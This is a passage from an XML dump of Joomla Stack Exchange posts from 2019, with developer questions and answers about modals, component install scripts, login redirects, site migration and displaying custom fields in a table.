18px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dfw.sitewidehosting.co.uk/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Modal issue link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to figure out what is going on, does anyone have any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2019-03-20T16:16:38.220" Title="Issue with modal window - hidden but still preventing links underneath being clicked" Tags="|module-display|module-style|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24397" PostTypeId="2" ParentId="916" CreationDate="2019-03-20T16:45:51.830" Score="-1" Body="&lt;p&gt;json_decode on Model-&gt;getItem()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;json_encode on Model-&gt;save()&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class CompModelName extends JModelAdmin&#xA;{&#xA;&#xA;    public function save($data = array())&#xA;    {&#xA;        if(isset($data['prices']) &amp;amp;&amp;amp; is_array($data['prices'])) $data['prices']=json_encode($data['prices']);&#xA;        return parent::save($data);&#xA;    }&#xA;&#xA;    public function getItem($pk = null)&#xA;    {&#xA;        if (!$item = parent::getItem($pk))&#xA;        {           &#xA;            throw new Exception('Failed to load item');&#xA;        }&#xA;        $item-&amp;gt;prices=json_decode($item-&amp;gt;prices,true);&#xA;        return $item;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8936" LastEditorUserId="8936" LastEditDate="2019-03-20T16:51:27.817" LastActivityDate="2019-03-20T16:51:27.817" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24399" PostTypeId="1" CreationDate="2019-03-21T13:19:10.403" Score="2" ViewCount="223" Body="&lt;p&gt;I like to develop a fresh Joomla Component for Joomla 3.x in Eclipse and created therefore a simple PHP project. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is now how to setup the correct &quot;include path&quot;, so that the basic Joomla PHP classes get found by the PHP compiler inside eclipse at coding time like &quot;JFactory&quot; , &quot;JAccess&quot;, &quot;JObject&quot; ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I just include a Joomla installation in my include path, this will not work. I assume the paths to the classes are more sophisticated than that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Idea or suggestion how the &quot;include path&quot; for my project should look like?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards Mark &lt;/p&gt;&#xA;" OwnerUserId="13416" LastEditorUserId="13416" LastEditDate="2019-03-22T09:08:16.857" LastActivityDate="2020-06-26T23:39:57.987" Title="How to configure Eclipse Project for Joomla Component Development" Tags="|joomla-3.x|component|development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24400" PostTypeId="1" CreationDate="2019-03-21T13:31:59.160" Score="1" ViewCount="74" Body="&lt;p&gt;I would like to use this community to give support for my Joomla! extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.schultschik.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.schultschik.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This for I would like to get a tag like &quot;SchuWeb&quot;, &quot;SchuWebExtensions&quot; or something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this be ok for the community and could someone create a tag for me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="13188" LastActivityDate="2019-03-21T13:31:59.160" Title="Asking for Tag creation" Tags="|extensions|" AnswerCount="0" CommentCount="4" ClosedDate="2019-03-21T15:50:32.637" ContentLicense="CC BY-SA 4.0" />
  <row Id="24401" PostTypeId="2" ParentId="24399" CreationDate="2019-03-21T14:43:10.453" Score="1" Body="&lt;p&gt;I'm a little confused by &lt;code&gt;created therefore a simple PHP project&lt;/code&gt; so I'll assuming by this you're referring to your component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, all Joomla clases (Jxxx) are autoloaded (I think with exception of a couple such as &lt;code&gt;JFolder&lt;/code&gt;, &lt;code&gt;JFile&lt;/code&gt;, and a few others), so you can just access them directly without having to import them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$access = JAccess::getGroupsByUser($user-&amp;gt;get('id'));&#xA;$object = new JObject();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can of course call the namespaced class names instead, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Access\Access;&#xA;use Joomla\CMS\Object\CMSObject;&#xA;&#xA;class Foo&#xA;{&#xA;    function test()&#xA;    {&#xA;        $user = Factory::getUser();&#xA;        $access = Access::getGroupsByUser($user-&amp;gt;get('id'));&#xA;        $object = new CMSObject; &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2019-03-21T14:43:10.453" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24402" PostTypeId="2" ParentId="24080" CreationDate="2019-03-22T11:32:05.013" Score="2" Body="&lt;p&gt;The issue has been resolved. I have added the following comment to my question.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Update / Resolved: the problem appeared to be that my plugin is using&#xA;  its own code to retrieve the value of a config parameter, that is&#xA;  instead of the standard $this-&gt;params-&gt;get(). The reason is that the&#xA;  param is retrieved by a different plugin than the one that stores the&#xA;  param. The code was using - more or less basic - string processing&#xA;  which caused the problem. I am now using JSON to retrieve the param&#xA;  value and now it is fine, in other words: problem solved!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9885" LastEditorUserId="9885" LastEditDate="2019-05-12T11:51:10.970" LastActivityDate="2019-05-12T11:51:10.970" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24403" PostTypeId="2" ParentId="12353" CreationDate="2019-03-23T18:54:04.427" Score="1" Body="&lt;p&gt;I just came upon this issue too.  It's likely that it's changing with every system update due to the template you are using.  The default template will keep changing the favicon when it updates.  So it seems your options are to fix the favicon at each update or change templates.  Check out the commentary here:  &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=937032&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=937032&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12882" LastEditorUserId="12352" LastEditDate="2019-03-25T00:44:29.543" LastActivityDate="2019-03-25T00:44:29.543" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24404" PostTypeId="2" ParentId="24390" CreationDate="2019-03-24T08:26:21.933" Score="1" Body="&lt;p&gt;I think your problem is coming from the fact that FOF is using an additional Installer class for database and schemas:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;FOF comes with the FOF30\Database\Installer class. Unlike Joomla!, it doesn't base its actions on unreliable version numbers. Instead, it will run SQL commands based on whether tables / fields exist, the reported type of fields or the result of custom SQL copublic function updateSchema()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thus it is suggested to place (call) two additional functions - for example - in your installer script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;public function updateSchema()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And at uninstall:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;public function removeSchema()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you have to provide a schema XML file with your component:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The schema files are provided in XML format. You only need one XML file per database technology. By default these files are stored in the back-end of your component, under the sql/xml directory. This is something you can override through the $directory parameter you pass to the class constructor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And the full description of the reasons and use of the above is here:&#xA;&lt;a href=&quot;https://github.com/akeeba/fof/wiki/The-XML-Database-Schema-Installer&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/akeeba/fof/wiki/The-XML-Database-Schema-Installer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the usage of the above in one of the components from the author of FOF here:&#xA;&lt;a href=&quot;https://github.com/akeeba/akeebasubs/tree/development/component/backend/sql&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/akeeba/akeebasubs/tree/development/component/backend/sql&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this gives some light on the subject for you.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-03-26T06:23:50.213" LastActivityDate="2019-03-26T06:23:50.213" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24406" PostTypeId="1" CreationDate="2019-03-25T17:57:07.083" Score="1" ViewCount="386" Body="&lt;p&gt;Quite new to Joomla and have a problem with Login Form Redirects&#xA;I’m using Joomla 3.9.4 / PHP 7.1.9 / Apache / mysql 5.7.22-22&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Landing Page using one Gantry/Helium template, all other pages use a separate single template. I have a single Login Form Module with the Login Redirect to a hidden menu item “hello” and the Logout Redirect to hidden menu item “goodbye”. Module access is Public&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hidden menu has items “hello” and “goodbye” both with access Public. In turn the menu item type is single article pointing to Hello and Goodbye respectively. The articles both use the same template and have access set to Public. If I add these to a main menu they open the articles as expected&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main menu items (Login with access Public/Logout with access Registered) are of menu type Single Article pointing to an Article called LoggingIn. This article has some text , a graphic and a {loadmoduleid 16}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The redirects do not work - Login takes me to the Logging in article and displays the text, graphic and log in form. After entering Username and Password the redirect is to a the default template but without any article displayed. Same happens on Log Out - the Logout button is displayed OK but the redirect is the same as Log In&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any assistance or ideas appreciated&#xA;Cheers&lt;/p&gt;&#xA;" OwnerUserId="13421" LastActivityDate="2019-09-06T20:02:00.240" Title="Login Form Module redirects not working" Tags="|login|redirect|joomla-3.9|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24407" PostTypeId="2" ParentId="20967" CreationDate="2019-03-25T20:01:04.003" Score="3" Body="&lt;p&gt;I had this issue in a client's website and the problem started after adding 100s of menu items, menus, and modules. I ended up that the problem was the &lt;code&gt;max_input_vars&lt;/code&gt; in &lt;code&gt;php.ini&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, basically you can ask your hosting provider to increase &lt;code&gt;max_input_vars&lt;/code&gt; or you can add the following line in your &lt;code&gt;.htaccess&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;php_value max_input_vars 3000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It solved the issue for me and I hope it will help others too.&lt;/p&gt;&#xA;" OwnerUserId="8414" LastActivityDate="2019-03-25T20:01:04.003" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24408" PostTypeId="1" CreationDate="2019-03-26T15:10:40.977" Score="2" ViewCount="102" Body="&lt;p&gt;We have a client who was getting errors when trying to add a lot of articles (like a dozen) to their live site in a short time span, but we found that after moving their site to a localhost they did not encounter the problem anymore. Now they are finished adding the articles on their localhost, and want to push the changes to the live site. The only change they have made is adding less than 100 articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: do I have to migrate the entire site back from their localhost to the live server, or can I just export/import the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand there are Joomla extensions for migrating articles between different CMSs and between different releases of Joomla, but these two sites are exactly the same other than one has different database content. Importing the database seems like it would be the simplest solution, I just want to know if it actually works before plowing forward.&lt;/p&gt;&#xA;" OwnerUserId="13088" LastEditorUserId="13088" LastEditDate="2019-03-26T15:19:59.793" LastActivityDate="2024-01-06T13:06:00.797" Title="Adding articles to a local copy, then pushing them to the live version" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="24409" PostTypeId="2" ParentId="24408" CreationDate="2019-03-26T15:39:26.267" Score="0" Body="&lt;p&gt;You don't need to copy the complete database. We've done this already for migrate from a 1.0 to a 2.5. You just need to copy the complete data set for the articles and import the via sql into the live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind to not mess up with ids. We've done it with a small python script to avoid errors. The script takes the content from old db, finds the related entries in other tables and insert them into the new database tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes it is possible, but you have to carefully and know what you are doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry can't find the script right know, I thought I had it on github but it isn't there.&lt;/p&gt;&#xA;" OwnerUserId="13188" LastActivityDate="2019-03-26T15:39:26.267" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24410" PostTypeId="2" ParentId="22685" CreationDate="2019-03-27T06:42:42.930" Score="2" Body="&lt;p&gt;Recent Joomla version can handle the errors based on native PHP exceptions, so just throw an exception with corresponding message and value, Joomla will display the error page set (template, custom…)&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($someCheck) &#xA;{&#xA;  throw new Exception(JText::_('JERROR_LAYOUT_PAGE_NOT_FOUND'), 404);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://joomla.stackexchange.com/questions/223/whats-the-correct-way-for-exception-handling&quot;&gt;Whats the correct way for exception handling?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5650" LastActivityDate="2019-03-27T06:42:42.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24411" PostTypeId="1" CreationDate="2019-03-28T13:10:22.437" Score="0" ViewCount="51" Body="&lt;p&gt;The navigation menu on all devices tested works as expected in portrait and in landscape mode, except on one of our iPads.&#xA;This issue can be observed with an older iPad. With the newer ones, or with the iPad Pros it works fine again in landscape mode. The portrait mode works fine on all devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On an older iPad the navigation menu that appears on landscape mode is nothing we designed or expected.&#xA;It should be a hamburger menu, but it is a static navigation bar, that doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All input is much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lcX62.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;How the navigation menu should be&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Rx8cF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;How it actually is in landscape mode on an old iPad&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13423" LastActivityDate="2024-04-01T09:01:15.150" Title="Why is my JOOMLART UBER navigation menu displayed incorrectly on iPad in landscape mode?" Tags="|joomla-3.x|menu|navigation|joomlart|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24413" PostTypeId="2" ParentId="24411" CreationDate="2019-03-28T22:44:05.230" Score="0" Body="&lt;p&gt;My first thought would be the @media query in the CSS is having trouble with handling or identifying the older device. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick google search shows up plenty of sites with different examples for the various models of the iPad but they seem to come down to pixel ratio 1 for the older devices and pixel ratio 2 for the newer ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps post up some examples of the CSS in use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Terry &lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-03-28T22:44:05.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24414" PostTypeId="1" AcceptedAnswerId="24419" CreationDate="2019-03-29T15:25:45.207" Score="2" ViewCount="509" Body="&lt;p&gt;I am developing a Joomla! package that has a component and various plugins, libraries, modules, and a template. I have a package-level install script and a component-level install script (both named &lt;code&gt;script.mycomponent.php&lt;/code&gt;). I haven't tested my package-level installation yet, but the component-level script file runs fine when I install just the component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice though that the &lt;code&gt;script.mycomponent.php&lt;/code&gt; file is &lt;strong&gt;not&lt;/strong&gt; moved to my component's &lt;code&gt;administrator/com_mycomponent&lt;/code&gt; directory after installation. I had it in the back of my head from somewhere that it is loaded into the database, but I don't see any evidence of that happening (&lt;em&gt;OT: does Joomla! load any executable PHP script in the database?&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to package two copies of the install script in my build process - one in the root of the component archive and one in the administrator folder? Shouldn't this happen automatically by the Joomla! installer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the same issue (and questions) about my component's manifest file (&lt;code&gt;mycomponent.xml&lt;/code&gt;). Is it loaded in the DB? Do I need to manually put a copy of it in my &lt;code&gt;administrator/com_mycomponent&lt;/code&gt; directory in my build process? Where is the package installer file and manifest file stored after installation?&lt;/p&gt;&#xA;" OwnerUserId="12558" LastActivityDate="2019-03-30T12:09:16.303" Title="What does Joomla! do with the install script file after installation?" Tags="|jinstaller|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24415" PostTypeId="1" CreationDate="2019-03-29T15:59:08.920" Score="0" ViewCount="63" Body="&lt;p&gt;We have a Joomla 3.8.10 website for a client with J2Store 3.3.1, hosted on one of our servers. When our client uses the administrator control panel to add several new products or make several edits, they are kicked out of the administrator backend and then see a &quot;404 Category not found&quot; error when they go to domain.com/administrator. Eventually they can log back in, but they need to wait a long time. We have circumvented this problem by migrating the site to a local server on our client's computer, where they do not encounter the issue, and then migrate it back when they are done making changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is far from ideal, since migrations can be time-consuming. It would be better if the client could just use Joomla and J2Store as intended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to stop them from getting locked out, but the problem is so vague I'm not sure where to start looking. This issue is not happening on any of our other sites, as far as I know. Any help at all would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="13088" LastEditorUserId="13088" LastEditDate="2019-03-29T16:12:15.527" LastActivityDate="2019-03-29T23:58:23.637" Title="Administrator user getting locked out when adding products" Tags="|joomla-3.x|administrator|j2store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24417" PostTypeId="2" ParentId="24414" CreationDate="2019-03-29T23:44:56.483" Score="2" Body="&lt;p&gt;I don't believe there are any scripts or manifest files stored in the data base.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The manifest file for your component will/should be stored in the administrator/com_mycomponent directory as part of the install process and does not need any extra effort on your part. Package manifest files will go into /administrator/manifests/packages/mypackage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to stored your install script with your component you could use these lines in your manifest xml file. You don't need to have two copies, but I don't believe the install scripts are stored automatically with the component.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;scriptfile&amp;gt;install/install.script.php&amp;lt;/scriptfile&amp;gt;&#xA;&amp;lt;administration&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;folder&amp;gt;install&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/administration&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Terry&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-03-29T23:44:56.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24418" PostTypeId="2" ParentId="24415" CreationDate="2019-03-29T23:58:23.637" Score="1" Body="&lt;p&gt;I would take a copy of the original site having issues and load it into a different a directory on the same hosting account to try and keep the test environment as close as possible to the live site having the issues by making minimal changes,  just enough to avoid conflicting with the live system, i.e. different DB &amp;amp; domain name. I use Akeeba normally to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the Test copy turn off any Cache plugins you may have active. The cache I think is playing a part in why it takes some time, but eventually clears the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then turn set Error Reporting to Maximum or Development in the Global Config. Also turn off GZip compression as I find it causes white screen of death when Error Reporting is happening, but that could just be me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now try and recreate the problem and see if you have messages to point you in the right direction or report back here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Terry&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-03-29T23:58:23.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24419" PostTypeId="2" ParentId="24414" CreationDate="2019-03-30T12:02:52.297" Score="2" Body="&lt;p&gt;&lt;strong&gt;The short answer is&lt;/strong&gt;, no, you do not have to copy &lt;strong&gt;install scripts&lt;/strong&gt; anywhere when you install a package or a component (or any Joomla extension). It is done automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In a bit more details:&lt;/strong&gt; for Joomla extensions installations, different Adapter classes are responsible. It starts with InstallerAdapter, then it is extended by PackageAdapter, ComponentAdapater, PluginAdapter and so on... for all extension type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The package Adapter copies the manifest XML files into &lt;strong&gt;{joomla_root}/administrator/manifests&lt;/strong&gt; folder and at the same time also copies (if it finds script declaration in the manifest) the package installer script file to &lt;strong&gt;{joomla_root}/administrator/manifests/your_package_name&lt;/strong&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same thing happens with your component (even if it is in a package). The Component Adapter copies the installer script file to the &lt;code&gt;administrator/'your_extension_root'&lt;/code&gt; folder (into your administrator/component root simply).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now, from my experience,&lt;/strong&gt; the most important thing to keep attention on is checking your manifest XML that the correct name is given for your install script files (if it was declared at all in the manifest). Few times I simply forgot to declare the script file in the manifest XML and I was wondering why the script was not running and why I did not see my install script files in my extension root folder).&#xA;If you do not find the Install script files copied in the above paths after installation, then there is a mistake you made most probably in your manifest XML file or in the install script file name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Naming could be important:&lt;/strong&gt; staying with a &lt;strong&gt;FOF&lt;/strong&gt; example (since I know that it is your case), if your package name is &lt;strong&gt;'Akeeba'&lt;/strong&gt; for example then your script file name could be: &lt;code&gt;script.akeeba.php&lt;/code&gt; and at the same time your &lt;strong&gt;com_akeeba&lt;/strong&gt; component script file name could be: &lt;code&gt;script.com_akeeba.php&lt;/code&gt;. The name also could be just &lt;code&gt;script.php&lt;/code&gt; everywhere however and it still would work, but it is better to use distinctive names if we are developing a package. Regarding automatic copying of the Installation scripts, there is no any difference between FOF based extensions and normal Joomla extensions.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-03-30T12:09:16.303" LastActivityDate="2019-03-30T12:09:16.303" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24420" PostTypeId="1" AcceptedAnswerId="24422" CreationDate="2019-04-01T13:57:58.607" Score="0" ViewCount="823" Body="&lt;p&gt;I am trying to customise the way the article custom fields are displayed on the category blog page. At present they are displayed in a vertical list:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PTBHn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PTBHn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is display these in a table, whereby the Field Name/Titles are displayed horizontally across the top of the page and then each articles custom field 'values' are displayed underneath the correct custom field heading. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created an override of the custom fields render.php but cannot see how on earth I can do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code involved is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($fields as $field)&#xA;{&#xA;    // If the value is empty do nothing&#xA;    if (!isset($field-&amp;gt;value) || $field-&amp;gt;value == '')&#xA;    {&#xA;        continue;&#xA;    }&#xA;&#xA;    $class = $field-&amp;gt;params-&amp;gt;get('render_class');&#xA;    $layout = $field-&amp;gt;params-&amp;gt;get('layout', 'render');&#xA;    $content = FieldsHelper::render($context, 'field.' . $layout, array('field' =&amp;gt; $field));&#xA;&#xA;    $output[] = '&amp;lt;dd class=&quot;field-entry ' . $class . '&quot;&amp;gt;' . $content . '&amp;lt;/dd&amp;gt;';&#xA;}&#xA;&#xA;if (empty($output))&#xA;{&#xA;    return;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;dl class=&quot;fields-container&quot;&amp;gt;&#xA;    &amp;lt;?php echo implode(&quot;\n&quot;, $output); ?&amp;gt;&#xA;&amp;lt;/dl&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to figure out how I can strip the headers from the DD tag but still preserve the content and position them under the correct heading?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers would be most welcome. The sample page can be found &lt;a href=&quot;https://dfw.sitewidehosting.co.uk/news-events/alumni-projects&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2019-04-01T19:37:51.380" Title="Display Article custom fields in table" Tags="|overrides|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24422" PostTypeId="2" ParentId="24420" CreationDate="2019-04-01T19:37:51.380" Score="1" Body="&lt;p&gt;I did something like you want to do a few months ago, I displayed my custom fields in a scrollable/sortable table across the page however my technique was to use an Alternate Layout for the Category List display rather than change the custom field rendering. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using an Alternate Layout rather than a layout override meant that I only changed the List layout for the display of the one category of items I wanted and could still use the normal list display for the other pages. By not modifying the custom rendering it didn't upset the display of the fields in other displays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can start by looking here for some details, &lt;a href=&quot;https://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Layout_Overrides_in_Joomla&lt;/a&gt; . There was something missing in that documentation but with a few other articles I was able to piece together what was needed but hopefully what follows is enough to get you going.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic steps are;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create an override in your template for ..\com_content\category\default*.* files&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rename the default*.* files to myevents*.* in the template folder, or whatever name you like.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit myevents_articles.php and change the column headers to match your data headings. Owner and Expiry are my custom fields.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;th scope=&quot;col&quot; id=&quot;categorylist_header_owner&quot;&amp;gt;&#xA;    &amp;lt;?php echo JHtml::_('grid.sort', 'Owner', 'owner', $listDirn, $listOrder); ?&amp;gt;&#xA;    &amp;lt;/th&amp;gt;&#xA;    &amp;lt;th scope=&quot;col&quot; id=&quot;categorylist_expiry_date&quot;&amp;gt;&#xA;    &amp;lt;?php echo JHtml::_('grid.sort', 'Expiry', 'expiry', $listDirn, $listOrder); ?&amp;gt;&#xA;    &amp;lt;/th&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scroll down a bit further and change the data sections of your template to use something like&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;      &amp;lt;td headers=&quot;categorylist_header_owner&quot; class=&quot;list-owner&quot;&amp;gt;&#xA;          &amp;lt;?php echo $article-&amp;gt;jcfields['8']-&amp;gt;value; ?&amp;gt;&#xA;          &amp;lt;/span&amp;gt;             &amp;lt;/td&amp;gt;           &amp;lt;td headers=&quot;categorylist_expiry_date&quot; class=&quot;list-expiry&quot;&amp;gt;&#xA;          &amp;lt;?php echo $article-&amp;gt;jcfields['7']-&amp;gt;value; ?&amp;gt;&#xA;          &amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;jcfields['n'] is the id of the custom field. &lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Save myevents_articles.php&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit myevents.xml and change the  to be the the name of your alt layout, something like;&#xA;title=&quot;My Events List&quot; 